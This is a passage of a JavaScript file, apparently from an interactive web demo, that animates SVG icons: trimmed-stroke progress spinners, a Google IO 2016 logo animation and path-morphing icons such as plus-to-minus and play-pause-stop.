animateTrimPathStartWithDelay("ridge_6_path", 549, 50, "cubic-bezier(0, 0.5, 1, 1)", false);
animateTrimPathStartWithDelay("ridge_2_path", 400, 216, "cubic-bezier(0, 0.5, 1, 1)", false);
animateTrimPathEndWithDelay("ridge_1_path", 383, 316, "cubic-bezier(0, 0.5, 1, 1)", false);
}
}
// =============== Google IO 2016 animation.
var currentIo16Animations = [];
var ioOne1 = document.getElementById("io16_one_1");
var ioOne2 = document.getElementById("io16_one_2");
var ioOne3 = document.getElementById("io16_one_3");
var ioOne4 = document.getElementById("io16_one_4");
var ioSix1 = document.getElementById("io16_six_1");
var ioSix2 = document.getElementById("io16_six_2");
var ioSix3 = document.getElementById("io16_six_3");
var ioSix4 = document.getElementById("io16_six_4");
var onePathLength = ioOne1.getTotalLength();
var sixPathLength = ioSix1.getTotalLength();
var oneStrokeDashArray = (onePathLength / 4) + "," + (onePathLength * 3 / 4);
var sixStrokeDashArray = (sixPathLength / 4) + "," + (sixPathLength * 3 / 4);
ioOne1.setAttribute("stroke-dasharray", oneStrokeDashArray);
ioOne2.setAttribute("stroke-dasharray", oneStrokeDashArray);
ioOne3.setAttribute("stroke-dasharray", oneStrokeDashArray);
ioOne4.setAttribute("stroke-dasharray", oneStrokeDashArray);
ioSix1.setAttribute("stroke-dasharray", sixStrokeDashArray);
ioSix2.setAttribute("stroke-dasharray", sixStrokeDashArray);
ioSix3.setAttribute("stroke-dasharray", sixStrokeDashArray);
ioSix4.setAttribute("stroke-dasharray", sixStrokeDashArray);
ioOne1.setAttribute("stroke-dashoffset", "0");
ioOne2.setAttribute("stroke-dashoffset", "" + (onePathLength * 0.25));
ioOne3.setAttribute("stroke-dashoffset", "" + (onePathLength * 0.5));
ioOne4.setAttribute("stroke-dashoffset", "" + (onePathLength * 0.75));
ioSix1.setAttribute("stroke-dashoffset", "0");
ioSix2.setAttribute("stroke-dashoffset", "" + (sixPathLength * 0.25));
ioSix3.setAttribute("stroke-dashoffset", "" + (sixPathLength * 0.5));
ioSix4.setAttribute("stroke-dashoffset", "" + (sixPathLength * 0.75));
beginIo16Animation();
function beginIo16Animation() {
var oneDurationMillis = common.getDuration(root, 4000);
var sixDurationMillis = common.getDuration(root, 5000);
currentIo16Animations.push(animateIo16Stroke(ioOne1, oneDurationMillis, 0));
currentIo16Animations.push(animateIo16Stroke(ioOne2, oneDurationMillis, onePathLength / 4));
currentIo16Animations.push(animateIo16Stroke(ioOne3, oneDurationMillis, onePathLength / 2));
currentIo16Animations.push(animateIo16Stroke(ioOne4, oneDurationMillis, onePathLength * 3 / 4));
currentIo16Animations.push(animateIo16Stroke(ioSix1, sixDurationMillis, 0));
currentIo16Animations.push(animateIo16Stroke(ioSix2, sixDurationMillis, sixPathLength / 4));
currentIo16Animations.push(animateIo16Stroke(ioSix3, sixDurationMillis, sixPathLength / 2));
currentIo16Animations.push(animateIo16Stroke(ioSix4, sixDurationMillis, sixPathLength * 3 / 4));
}
function animateIo16Stroke(element, durationMillis, startingStrokeDashOffset) {
return element.animate([{
strokeDashoffset: "" + startingStrokeDashOffset,
easing: "linear",
offset: 0
}, {
strokeDashoffset: "" + (startingStrokeDashOffset + element.getTotalLength()),
easing: "linear",
offset: 1
}], {
duration: common.getScaledDuration(root, durationMillis, 2),
fill: "forwards",
iterations: "Infinity"
});
}
document.querySelector(root.nodeName + "#" + root.id + " input[id=includes6_slowAnimationCheckbox]").addEventListener("change", function () {
for (var i = 0; i < currentIo16Animations.length; i += 1) {
currentIo16Animations[i].cancel();
}
currentIo16Animations = [];
beginIo16Animation();
});
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: trimming stroked paths, circular indeterminate progress bar
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
function getScaledAnimationDuration(durationMillis) {
var slowAnimationSelector = document.querySelector("input[id=circularProgressSlowAnimationCheckbox]");
var currentAnimationDurationFactor = slowAnimationSelector.checked ? 5 : 1;
return durationMillis * currentAnimationDurationFactor;
}
var circular_progress_outer_rotation = document.getElementById("circular_progress_outer_rotation");
var circular_progress_inner_rotation = document.getElementById("circular_progress_inner_rotation");
var circle_path = document.getElementById("circular_progress_circle_path");
function restartAnimation(animation) {
animation.cancel();
animation.play();
}
function createRotationAnimation() {
return circular_progress_outer_rotation.animate([
{ transform: "rotate(0deg)", offset: 0, easing: 'linear' },
{ transform: "rotate(720deg)", offset: 1 }
], { duration: getScaledAnimationDuration(4444), fill: "forwards", iterations: "Infinity" });
}
function createTrimPathOffsetAnimation() {
return circular_progress_inner_rotation.animate([
{ transform: "rotate(0deg)", offset: 0, easing: 'linear' },
{ transform: "rotate(90deg)", offset: 1 }
], { duration: getScaledAnimationDuration(1333), fill: "forwards", iterations: "Infinity" });
}
function createTrimPathStartEndAnimation() {
var fastOutSlowInFunction = bezierEasing(0.4, 0, 0.2, 1);
var trimPathEndFunction = function (t) {
if (t <= 0.5) {
return fastOutSlowInFunction(t * 2) * 0.96;
} else {
return 0.08 * t + 0.92;
}
};
var pathLength = circle_path.getTotalLength();
var keyFrames = [];
var i = 0;
for (i = 0; i < 1344; i += 16) {
var trimPathStart = 0;
if (i >= 672) {
trimPathStart = fastOutSlowInFunction(((i - 672) / 672)) * 0.75;
}
var trimPathEnd = trimPathEndFunction(i / 1344) * 0.75 + 0.03;
var trimPathLength = trimPathEnd - trimPathStart;
keyFrames.push({
strokeDasharray: (trimPathLength * pathLength) + "," + (1 - trimPathLength) * pathLength,
strokeDashoffset: (-trimPathStart * pathLength),
easing: "linear",
offset: (i / 1344)
});
}
keyFrames.push({
strokeDasharray: (0.03 * pathLength) + "," + pathLength,
strokeDashoffset: (-0.75 * pathLength),
offset: 1
});
return circle_path.animate(keyFrames, {
duration: getScaledAnimationDuration(1333),
fill: "forwards",
iterations: "Infinity"
});
}
var outerRotationAnimation = createRotationAnimation();
var trimPathOffsetAnimation = createTrimPathOffsetAnimation();
var trimPathStartEndAnimation = createTrimPathStartEndAnimation();
var outerRotationCheckbox = document.querySelector("input[id=circularProgressOuterRotationCheckbox]");
var trimPathOffsetCheckbox = document.querySelector("input[id=circularProgressTrimPathOffsetCheckbox]");
var trimPathStartEndCheckbox = document.querySelector("input[id=circularProgressTrimPathStartEndCheckbox]");
var showTrimPathsCheckbox = document.querySelector("input[id=circularProgressShowTrimPathsCheckbox]");
var slowAnimationCheckbox = document.querySelector("input[id=circularProgressSlowAnimationCheckbox]");
outerRotationCheckbox.addEventListener("change", function () {
if (outerRotationCheckbox.checked) {
outerRotationAnimation.play();
} else {
outerRotationAnimation.pause();
}
});
trimPathOffsetCheckbox.addEventListener("change", function () {
if (!trimPathOffsetCheckbox.checked) {
trimPathOffsetAnimation.pause();
return;
}
if (!trimPathStartEndCheckbox.checked) {
trimPathOffsetAnimation.play();
return;
}
restartAnimation(trimPathStartEndAnimation);
restartAnimation(trimPathOffsetAnimation);
});
trimPathStartEndCheckbox.addEventListener("change", function () {
if (!trimPathStartEndCheckbox.checked) {
trimPathStartEndAnimation.pause();
return;
}
if (!trimPathOffsetCheckbox.checked) {
trimPathStartEndAnimation.play();
return;
}
restartAnimation(trimPathStartEndAnimation);
restartAnimation(trimPathOffsetAnimation);
});
showTrimPathsCheckbox.addEventListener("change", function () {
var visibility = showTrimPathsCheckbox.checked ? "visible" : "hidden";
document.getElementById("circular_progress_circle_path_debug").style.visibility = visibility;
});
slowAnimationCheckbox.addEventListener("change", function () {
outerRotationAnimation.cancel();
trimPathOffsetAnimation.cancel();
trimPathStartEndAnimation.cancel();
if (outerRotationCheckbox.checked) {
outerRotationAnimation = createRotationAnimation();
}
if (trimPathOffsetCheckbox.checked) {
trimPathOffsetAnimation = createTrimPathOffsetAnimation();
}
if (trimPathStartEndCheckbox.checked) {
trimPathStartEndAnimation = createTrimPathStartEndAnimation();
}
});
});
// =======================================================================================
// =======================================================================================
// =======================================================================================
// =============== DEMO: path morphing animated icon demos
// =======================================================================================
// =======================================================================================
// =======================================================================================
document.addEventListener("DOMContentLoaded", function () {
var plusMinusPaths = [
"M 5,11 L 11,11 L 11,5 L 13,5 L 13,11 L 19,11 L 19,13 L 13,13 L 13,19 L 11,19 L 11,13 L 5,13 Z",
"M 5,11 L 11,11 L 11,11 L 13,11 L 13,11 L 19,11 L 19,13 L 13,13 L 13,13 L 11,13 L 11,13 L 5,13 Z"
];
var crossTickPaths = [
"M6.4,6.4 L17.6,17.6 M6.4,17.6 L17.6,6.4",
"M4.8,13.4 L9,17.6 M10.4,16.2 L19.6,7"
];
var drawerArrowPaths = [
"M 3,6 L 3,8 L 21,8 L 21,6 L 3,6 z M 3,11 L 3,13 L 21,13 L 21, 12 L 21,11 L 3,11 z M 3,18 L 3,16 L 21,16 L 21,18 L 3,18 z",
"M 12, 4 L 10.59,5.41 L 16.17,11 L 18.99,11 L 12,4 z M 4, 11 L 4, 13 L 18.99, 13 L 20, 12 L 18.99, 11 L 4, 11 z M 12,20 L 10.59, 18.59 L 16.17, 13 L 18.99, 13 L 12, 20z"
];
var overflowToArrowPaths = [
["M 0,-2 l 0,0 c 1.1046,0 2,0.8954 2,2 l 0,0 c 0,1.1046 -0.8954,2 -2,2 l 0,0 c -1.1046,0 -2,-0.8954 -2,-2 l 0,0 c 0,-1.1046 0.8954,-2 2,-2 Z", "M -4.0951,-1.3095 l 8.1901,0 c 0.1776,0 0.3216,0.1440 0.3216,0.3216 l 0,1.9758 c 0,0.1776 -0.1440,0.3216 -0.3216,0.3216 l -8.1901,0 c -0.1776,0 -0.3216,-0.1440 -0.3216,-0.3216 l 0,-1.9758 c 0,-0.1776 0.1440,-0.3216 0.3216,-0.3216 Z", "M -5.1145,-1.1101 l 10.2291,0 c 0,0 0,0 0,0 l 0,2.2203 c 0,0 0,0 0,0 l -10.2291,0 c 0,0 0,0 0,0 l 0,-2.2203 c 0,0 0,0 0,0 Z", "M -5.4176,-1.0236 l 10.8351,0 c 0,0 0,0 0,0 l 0,2.0471 c 0,0 0,0 0,0 l -10.8351,0 c 0,0 0,0 0,0 l 0,-2.0471 c 0,0 0,0 0,0 Z", "M -5.5,-1 l 11,0 c 0,0 0,0 0,0 l 0,2 c 0,0 0,0 0,0 l -11,0 c 0,0 0,0 0,0 l 0,-2 c 0,0 0,0 0,0 Z"],
["M 0,-2 l 0,0 c 1.1046,0 2,0.8954 2,2 l 0,0 c 0,1.1046 -0.8954,2 -2,2 l 0,0 c -1.1046,0 -2,-0.8954 -2,-2 l 0,0 c 0,-1.1046 0.8954,-2 2,-2 Z", "M -0.5106,-1.9149 l 1.0213,0 c 1.0576,0 1.9149,0.8573 1.9149,1.9149 l 0,0 c 0,1.0576 -0.8573,1.9149 -1.9149,1.9149 l -1.0213,0 c -1.0576,0 -1.9149,-0.8573 -1.9149,-1.9149 l 0,0 c 0,-1.0576 0.8573,-1.9149 1.9149,-1.9149 Z", "M -3.6617,-1.5417 l 7.3234,0 c 0.3479,0 0.6299,0.2820 0.6299,0.6299 l 0,1.8234 c 0,0.3479 -0.2820,0.6299 -0.6299,0.6299 l -7.3234,0 c -0.3479,0 -0.6299,-0.2820 -0.6299,-0.6299 l 0,-1.8234 c 0,-0.3479 0.2820,-0.6299 0.6299,-0.6299 Z", "M -5.8061,-1.2245 l 11.6121,0 c 0.0395,0 0.0716,0.0320 0.0716,0.0716 l 0,2.3058 c 0,0.0395 -0.0320,0.0716 -0.0716,0.0716 l -11.6121,0 c -0.0395,0 -0.0716,-0.0320 -0.0716,-0.0716 l 0,-2.3058 c 0,-0.0395 0.0320,-0.0716 0.0716,-0.0716 Z", "M -6.6039,-1.0792 l 13.2077,0 c 0,0 0,0 0,0 l 0,2.1585 c 0,0 0,0 0,0 l -13.2077,0 c 0,0 0,0 0,0 l 0,-2.1585 c 0,0 0,0 0,0 Z", "M -6.9168,-1.0166 l 13.8336,0 c 0,0 0,0 0,0 l 0,2.0333 c 0,0 0,0 0,0 l -13.8336,0 c 0,0 0,0 0,0 l 0,-2.0333 c 0,0 0,0 0,0 Z", "M -7,-1 l 14,0 c 0,0 0,0 0,0 l 0,2 c 0,0 0,0 0,0 l -14,0 c 0,0 0,0 0,0 l 0,-2 c 0,0 0,0 0,0 Z"],
["M 0,-2 l 0,0 c 1.1046,0 2,0.8954 2,2 l 0,0 c 0,1.1046 -0.8954,2 -2,2 l 0,0 c -1.1046,0 -2,-0.8954 -2,-2 l 0,0 c 0,-1.1046 0.8954,-2 2,-2 Z", "M -4.0951,-1.3095 l 8.1901,0 c 0.1776,0 0.3216,0.1440 0.3216,0.3216 l 0,1.9758 c 0,0.1776 -0.1440,0.3216 -0.3216,0.3216 l -8.1901,0 c -0.1776,0 -0.3216,-0.1440 -0.3216,-0.3216 l 0,-1.9758 c 0,-0.1776 0.1440,-0.3216 0.3216,-0.3216 Z", "M -5.1145,-1.1101 l 10.2291,0 c 0,0 0,0 0,0 l 0,2.2203 c 0,0 0,0 0,0 l -10.2291,0 c 0,0 0,0 0,0 l 0,-2.2203 c 0,0 0,0 0,0 Z", "M -5.4176,-1.0236 l 10.8351,0 c 0,0 0,0 0,0 l 0,2.0471 c 0,0 0,0 0,0 l -10.8351,0 c 0,0 0,0 0,0 l 0,-2.0471 c 0,0 0,0 0,0 Z", "M -5.5,-1 l 11,0 c 0,0 0,0 0,0 l 0,2 c 0,0 0,0 0,0 l -11,0 c 0,0 0,0 0,0 l 0,-2 c 0,0 0,0 0,0 Z"]
];
var arrowToOverflowPaths = [
["M -5.5,-1 l 11,0 c 0,0 0,0 0,0 l 0,2 c 0,0 0,0 0,0 l -11,0 c 0,0 0,0 0,0 l 0,-2 c 0,0 0,0 0,0 Z", "M -5.3496,-1.0430 l 10.6992,0 c 0,0 0,0 0,0 l 0,2.0859 c 0,0 0,0 0,0 l -10.6992,0 c 0,0 0,0 0,0 l 0,-2.0859 c 0,0 0,0 0,0 Z", "M -4.5733,-1.2500 l 9.1465,0 c 0.0286,0 0.0517,0.0232 0.0517,0.0517 l 0,2.3965 c 0,0.0286 -0.0232,0.0517 -0.0517,0.0517 l -9.1465,0 c -0.0286,0 -0.0517,-0.0232 -0.0517,-0.0517 l 0,-2.3965 c 0,-0.0286 0.0232,-0.0517 0.0517,-0.0517 Z", "M -3.0414,-1.5596 l 6.0827,0 c 0.2761,0 0.5,0.2239 0.5,0.5 l 0,2.1192 c 0,0.2761 -0.2239,0.5 -0.5,0.5 l -6.0827,0 c -0.2761,0 -0.5,-0.2239 -0.5,-0.5 l 0,-2.1192 c 0,-0.2761 0.2239,-0.5 0.5,-0.5 Z", "M -1.5586,-1.7755 l 3.1172,0 c 0.6777,0 1.2271,0.5494 1.2271,1.2271 l 0,1.0969 c 0,0.6777 -0.5494,1.2271 -1.2271,1.2271 l -3.1172,0 c -0.6777,0 -1.2271,-0.5494 -1.2271,-1.2271 l 0,-1.0969 c 0,-0.6777 0.5494,-1.2271 1.2271,-1.2271 Z", "M -0.7060,-1.8945 l 1.4120,0 c 0.9186,0 1.6633,0.7447 1.6633,1.6633 l 0,0.4623 c 0,0.9186 -0.7447,1.6633 -1.6633,1.6633 l -1.4120,0 c -0.9186,0 -1.6633,-0.7447 -1.6633,-1.6633 l 0,-0.4623 c 0,-0.9186 0.7447,-1.6633 1.6633,-1.6633 Z", "M -0.2657,-1.9594 l 0.5315,0 c 1.0364,0 1.8765,0.8401 1.8765,1.8765 l 0,0.1658 c 0,1.0364 -0.8401,1.8765 -1.8765,1.8765 l -0.5315,0 c -1.0364,0 -1.8765,-0.8401 -1.8765,-1.8765 l 0,-0.1658 c 0,-1.0364 0.8401,-1.8765 1.8765,-1.8765 Z", "M -0.0581,-1.9910 l 0.1162,0 c 1.0899,0 1.9734,0.8835 1.9734,1.9734 l 0,0.0351 c 0,1.0899 -0.8835,1.9734 -1.9734,1.9734 l -0.1162,0 c -1.0899,0 -1.9734,-0.8835 -1.9734,-1.9734 l 0,-0.0351 c 0,-1.0899 0.8835,-1.9734 1.9734,-1.9734 Z", "M 0,-2 l 0,0 c 1.1046,0 2,0.8954 2,2 l 0,0 c 0,1.1046 -0.8954,2 -2,2 l 0,0 c -1.1046,0 -2,-0.8954 -2,-2 l 0,0 c 0,-1.1046 0.8954,-2 2,-2 Z"],
["M -7,-1 l 14,0 c 0,0 0,0 0,0 l 0,2 c 0,0 0,0 0,0 l -14,0 c 0,0 0,0 0,0 l 0,-2 c 0,0 0,0 0,0 Z", " M -4.3684,-1.4999 l 8.7369,0 c 0.0729,0 0.1320,0.0591 0.1320,0.1320 l 0,2.7359 c 0,0.0729 -0.0591,0.1320 -0.1320,0.1320 l -8.7369,0 c -0.0729,0 -0.1320,-0.0591 -0.1320,-0.1320 l 0,-2.7359 c 0,-0.0729 0.0591,-0.1320 0.1320,-0.1320 Z", "M -2.7976,-1.6905 l 5.5952,0 c 0.4142,0 0.7500,0.3358 0.7500,0.7500 l 0,1.8810 c 0,0.4142 -0.3358,0.7500 -0.7500,0.7500 l -5.5952,0 c -0.4142,0 -0.7500,-0.3358 -0.7500,-0.7500 l 0,-1.8810 c 0,-0.4142 0.3358,-0.7500 0.7500,-0.7500 Z", "M -1.5413,-1.8100 l 3.0826,0 c 0.7779,0 1.4085,0.6306 1.4085,1.4085 l 0,0.8031 c 0,0.7779 -0.6306,1.4085 -1.4085,1.4085 l -3.0826,0 c -0.7779,0 -1.4085,-0.6306 -1.4085,-1.4085 l 0,-0.8031 c 0,-0.7779 0.6306,-1.4085 1.4085,-1.4085 Z", "M -0.7987,-1.8899 l 1.5974,0 c 0.9676,0 1.7519,0.7844 1.7519,1.7519 l 0,0.2759 c 0,0.9676 -0.7844,1.7519 -1.7519,1.7519 l -1.5974,0 c -0.9676,0 -1.7519,-0.7844 -1.7519,-1.7519 l 0,-0.2759 c 0,-0.9676 0.7844,-1.7519 1.7519,-1.7519 Z", "M -0.3662,-1.9430 l 0.7324,0 c 1.0597,0 1.9187,0.8590 1.9187,1.9187 l 0,0.0486 c 0,1.0597 -0.8590,1.9187 -1.9187,1.9187 l -0.7324,0 c -1.0597,0 -1.9187,-0.8590 -1.9187,-1.9187 l 0,-0.0486 c 0,-1.0597 0.8590,-1.9187 1.9187,-1.9187 Z", "M -0.1413,-1.9764 l 0.2827,0 c 1.0916,0 1.9764,0.8849 1.9764,1.9764 l 0,0 c 0,1.0916 -0.8849,1.9764 -1.9764,1.9764 l -0.2827,0 c -1.0916,0 -1.9764,-0.8849 -1.9764,-1.9764 l 0,0 c 0,-1.0916 0.8849,-1.9764 1.9764,-1.9764 Z", "M -0.0331,-1.9945 l 0.0663,0 c 1.1015,0 1.9945,0.8930 1.9945,1.9945 l 0,0 c 0,1.1015 -0.8930,1.9945 -1.9945,1.9945 l -0.0663,0 c -1.1015,0 -1.9945,-0.8930 -1.9945,-1.9945 l 0,0 c 0,-1.1015 0.8930,-1.9945 1.9945,-1.9945 Z", "M 0,-2 l 0,0 c 1.1046,0 2,0.8954 2,2 l 0,0 c 0,1.1046 -0.8954,2 -2,2 l 0,0 c -1.1046,0 -2,-0.8954 -2,-2 l 0,0 c 0,-1.1046 0.8954,-2 2,-2 Z"],
["M -5.5,-1 l 11,0 c 0,0 0,0 0,0 l 0,2 c 0,0 0,0 0,0 l -11,0 c 0,0 0,0 0,0 l 0,-2 c 0,0 0,0 0,0 Z", "M -5.3496,-1.0430 l 10.6992,0 c 0,0 0,0 0,0 l 0,2.0859 c 0,0 0,0 0,0 l -10.6992,0 c 0,0 0,0 0,0 l 0,-2.0859 c 0,0 0,0 0,0 Z", "M -4.5733,-1.2500 l 9.1465,0 c 0.0286,0 0.0517,0.0232 0.0517,0.0517 l 0,2.3965 c 0,0.0286 -0.0232,0.0517 -0.0517,0.0517 l -9.1465,0 c -0.0286,0 -0.0517,-0.0232 -0.0517,-0.0517 l 0,-2.3965 c 0,-0.0286 0.0232,-0.0517 0.0517,-0.0517 Z", "M -3.0414,-1.5596 l 6.0827,0 c 0.2761,0 0.5,0.2239 0.5,0.5 l 0,2.1192 c 0,0.2761 -0.2239,0.5 -0.5,0.5 l -6.0827,0 c -0.2761,0 -0.5,-0.2239 -0.5,-0.5 l 0,-2.1192 c 0,-0.2761 0.2239,-0.5 0.5,-0.5 Z", "M -1.5586,-1.7755 l 3.1172,0 c 0.6777,0 1.2271,0.5494 1.2271,1.2271 l 0,1.0969 c 0,0.6777 -0.5494,1.2271 -1.2271,1.2271 l -3.1172,0 c -0.6777,0 -1.2271,-0.5494 -1.2271,-1.2271 l 0,-1.0969 c 0,-0.6777 0.5494,-1.2271 1.2271,-1.2271 Z", "M -0.7060,-1.8945 l 1.4120,0 c 0.9186,0 1.6633,0.7447 1.6633,1.6633 l 0,0.4623 c 0,0.9186 -0.7447,1.6633 -1.6633,1.6633 l -1.4120,0 c -0.9186,0 -1.6633,-0.7447 -1.6633,-1.6633 l 0,-0.4623 c 0,-0.9186 0.7447,-1.6633 1.6633,-1.6633 Z", "M -0.2657,-1.9594 l 0.5315,0 c 1.0364,0 1.8765,0.8401 1.8765,1.8765 l 0,0.1658 c 0,1.0364 -0.8401,1.8765 -1.8765,1.8765 l -0.5315,0 c -1.0364,0 -1.8765,-0.8401 -1.8765,-1.8765 l 0,-0.1658 c 0,-1.0364 0.8401,-1.8765 1.8765,-1.8765 Z", "M -0.0581,-1.9910 l 0.1162,0 c 1.0899,0 1.9734,0.8835 1.9734,1.9734 l 0,0.0351 c 0,1.0899 -0.8835,1.9734 -1.9734,1.9734 l -0.1162,0 c -1.0899,0 -1.9734,-0.8835 -1.9734,-1.9734 l 0,-0.0351 c 0,-1.0899 0.8835,-1.9734 1.9734,-1.9734 Z", "M 0,-2 l 0,0 c 1.1046,0 2,0.8954 2,2 l 0,0 c 0,1.1046 -0.8954,2 -2,2 l 0,0 c -1.1046,0 -2,-0.8954 -2,-2 l 0,0 c 0,-1.1046 0.8954,-2 2,-2 Z"],
];
var digitPaths = [
"M 0.24585635359116,0.552486" +
" C 0.24585635359116,0.331491712707182 0.370165745856354,0.0994475 0.552486,0.0994475" +
" C 0.734806629834254,0.0994475 0.86188,0.331491712707182 0.86188,0.552486" +
" C 0.86188,0.773480662983425 0.734806629834254,0.99448 0.552486,0.99448" +
" C 0.370165745856354,0.99448 0.24585635359116,0.773480662983425 0.24585635359116,0.552486",
"M 0.425414364640884,0.11326" +
" C 0.425414364640884,0.11326 0.57735,0.11326 0.57735,0.11326" +
" C 0.57735,0.11326 0.57735,1 0.57735,1" +
" C 0.57735,1 0.57735,1 0.57735,1" +
" C 0.57735,1 0.57735,1 0.57735,1",
"M 0.30939226519337,0.331491712707182" +
" C 0.325966850828729,0.0110497237569061 0.790055248618785,0.0220994475138122 0.798342541436464,0.337016574585635" +
" C 0.798342541436464,0.43094 0.718232044198895,0.541436464088398 0.596685082872928,0.674033149171271" +
" C 0.519337016574586,0.762430939226519 0.408839779005525,0.856353591160221 0.314917127071823,0.977901" +
" C 0.314917127071823,0.977901 0.812154696132597,0.977901 0.812154696132597,0.977901",
"M 0.361878453038674,0.298342541436464" +
" C 0.348066298342541,0.149171270718232 0.475138121546961,0.0994475 0.549723756906077,0.0994475" +
" C 0.86188,0.0994475 0.80663,0.53039 0.549723756906077,0.53039" +
" C 0.87293,0.53039 0.828729281767956,0.99448 0.552486,0.99448" +
" C 0.298342541436464,0.99448 0.30939226519337,0.828729281767956 0.312154696132597,0.790055248618785",
"M 0.856353591160221,0.80663" +
" C 0.856353591160221,0.80663 0.237569060773481,0.80663 0.237569060773481,0.80663" +
" C 0.237569060773481,0.80663 0.712707,0.138121546961326 0.712707,0.138121546961326" +
" C 0.712707,0.138121546961326 0.712707,0.80663 0.712707,0.80663" +
" C 0.712707,0.80663 0.712707,0.988950276243094 0.712707,0.988950276243094",
"M 0.80663,0.1105" +
" C 0.502762430939227,0.1105 0.502762430939227,0.1105 0.502762430939227,0.1105" +
" C 0.397790055248619,0.43094 0.397790055248619,0.43094 0.397790055248619,0.43094" +
" C 0.535911602209945,0.364640883977901 0.801104972375691,0.469613259668508 0.801104972375691,0.712707" +
" C 0.773480662983425,1.01104972375691 0.375690607734807,1.0939226519337 0.248618784530387,0.85083",
"M 0.607734806629834,0.1105" +
" C 0.607734806629834,0.1105 0.607734806629834,0.1105 0.607734806629834,0.1105" +
" C 0.392265193370166,0.43646408839779 0.265193370165746,0.50828729281768 0.25414364640884,0.696132596685083" +
" C 0.287292817679558,1.13017127071823 0.87293,1.06077348066298 0.845303867403315,0.696132596685083" +
" C 0.80663,0.364640883977901 0.419889502762431,0.353591160220994 0.295580110497238,0.552486",
"M 0.259668508287293,0.116022099447514" +
" C 0.259668508287293,0.116022099447514 0.87293,0.116022099447514 0.87293,0.116022099447514" +
" C 0.87293,0.116022099447514 0.6667,0.41068139962 0.6667,0.41068139962" +
" C 0.6667,0.41068139962 0.460405157,0.7053406998 0.460405157,0.7053406998" +
" C 0.460405157,0.7053406998 0.25414364640884,1 0.25414364640884,1",
"M 0.558011,0.53039" +
" C 0.243093922651934,0.524861878453039 0.243093922651934,0.104972375690608 0.558011,0.104972375690608" +
" C 0.85083,0.104972375690608 0.85083,0.53039 0.558011,0.53039" +
" C 0.243093922651934,0.53039 0.198895027624309,0.988950276243094 0.558011,0.988950276243094" +
" C 0.85083,0.988950276243094 0.85083,0.53039 0.558011,0.53039",
"M 0.80939226519337,0.552486" +
" C 0.685082872928177,0.751381215469613 0.298342541436464,0.740331491712707 0.259668508287293,0.408839779005525" +
" C 0.232044198895028,0.0441988950276243 0.81767955801105,-0.0441988950276243 0.85083,0.408839779005525" +
" C 0.839779005524862,0.596685082872928 0.712707,0.668508287292818 0.497237569060773,0.99448" +
" C 0.497237569060773,0.99448 0.497237569060773,0.99448 0.497237569060773,0.99448"
];
var playPauseStopPaths = [
"M9,5 L9,5 L9,13 L4,13 L9,5 M9,5 L9,5 L14,13 L9,13 L9,5",
"M6,5 L8,5 L8,13 L6,13 L6,5 M10,5 L12,5 L12,13 L10,13 L10,5",
"M5,5 L9,5 L9,13 L5,13 L5,5 M9,5 L13,5 L13,13 L9,13 L9,5"
];
var playPauseStopTranslationX = [0.75, 0, 0];
function getScaledAnimationDuration(durationMillis) {
var slowAnimationSelector = document.querySelector("input[id=pathMorphSlowAnimationCheckbox]");
var currentAnimationDurationFactor = slowAnimationSelector.checked ? 5 : 1;
return durationMillis * currentAnimationDurationFactor;
}
function animateTranslationX(elementId, durationMillis, fromTranslationX, toTranslationX) {
animateTranslationXWithEasing(elementId, durationMillis, fromTranslationX, toTranslationX, "cubic-bezier(0.4, 0, 0.2, 1)");
}
function animateTranslationXWithEasing(elementId, durationMillis, fromTranslationX, toTranslationX, easingFunction) {
document.getElementById(elementId).animate([{
transform: ("translateX(" + fromTranslationX + "px)"),
offset: 0,
easing: easingFunction
}, {
transform: ("translateX(" + toTranslationX + "px)"),
offset: 1
}], {
duration: getScaledAnimationDuration(durationMillis),
fill: "forwards"
});
}
function maybeAnimateRotation(elementId, durationMillis, fromDegrees, toDegrees) {
var rotateSelector = document.querySelector("input[id=pathMorphRotateCheckbox]");
if (!rotateSelector.checked) {
return;
}
animateRotation(elementId, durationMillis, fromDegrees, toDegrees);
}
function animateRotation(elementId, durationMillis, fromDegrees, toDegrees) {
animateRotationWithEasing(elementId, durationMillis, fromDegrees, toDegrees, "cubic-bezier(0.4, 0, 0.2, 1)");
}
function animateRotationWithEasing(elementId, durationMillis, fromDegrees, toDegrees, easingFunction) {
document.getElementById(elementId).animate([
{ transform: ("rotate(" + fromDegrees + "deg)"), offset: 0, easing: easingFunction },
{ transform: ("rotate(" + toDegrees + "deg)"), offset: 1 }
], { duration: getScaledAnimationDuration(durationMillis), fill: "forwards" });
}
function animatePathMorph(animationElementId, durationMillis) {
var animation = document.getElementById(animationElementId);
animation.setAttributeNS(null, 'dur', getScaledAnimationDuration(durationMillis) + 'ms');
animation.beginElement();
}
function animatePathMorphWithValues(animationElementId, durationMillis, pathStringList) {
var animation = document.getElementById(animationElementId);
animation.setAttributeNS(null, 'dur', getScaledAnimationDuration(durationMillis) + 'ms');
animation.setAttributeNS(null, 'values', pathStringList.join(";"));
animation.beginElement();
}
function animatePoints(animationElementId, durationMillis, fromPathString, toPathString, dotRadius) {
var listOfPathStrings = [fromPathString, toPathString];
animatePointsWithList(animationElementId, durationMillis, listOfPathStrings, dotRadius);
}
function animatePointsWithList(animationElementId, durationMillis, listOfPathStrings, dotRadius) {
var valuesString = "";
for (var i = 0; i < listOfPathStrings.length; i += 1) {
valuesString = valuesString + common.createPathDotString(listOfPathStrings[i], dotRadius);
if (i + 1 !== listOfPathStrings.length) {
valuesString = valuesString + ";";
}
}
var animation = document.getElementById(animationElementId);
animation.setAttributeNS(null, 'dur', getScaledAnimationDuration(durationMillis) + 'ms');
animation.setAttributeNS(null, 'values', valuesString, dotRadius);
animation.beginElement();
}
// ================ Plus to minus.
var isIconMinus = false;
document.getElementById("ic_plus_minus").addEventListener("click", function () {
if (isIconMinus) {
animateMinusToPlus();
} else {
animatePlusToMinus();
}
isIconMinus = !isIconMinus;
});
document.querySelector("input[id=pathMorphShowPathPointsCheckbox]").addEventListener("change", function () {
var pathPointsSelector = document.querySelector("input[id=pathMorphShowPathPointsCheckbox]");
var shouldShowPathPoints = pathPointsSelector.checked;
var visibility = shouldShowPathPoints ? "visible" : "hidden";
var endPointsPath = document.getElementById("plus_minus_end_points_path");
endPointsPath.style.visibility = visibility;
if (shouldShowPathPoints) {
var dotPathString = common.createPathDotString(plusMinusPaths[isIconMinus ? 1 : 0], 0.4);
endPointsPath.setAttribute('d', dotPathString);
}
});
function animatePlusToMinus() {
maybeAnimateRotation("plus_minus_container_rotate", 300, 180, 360);
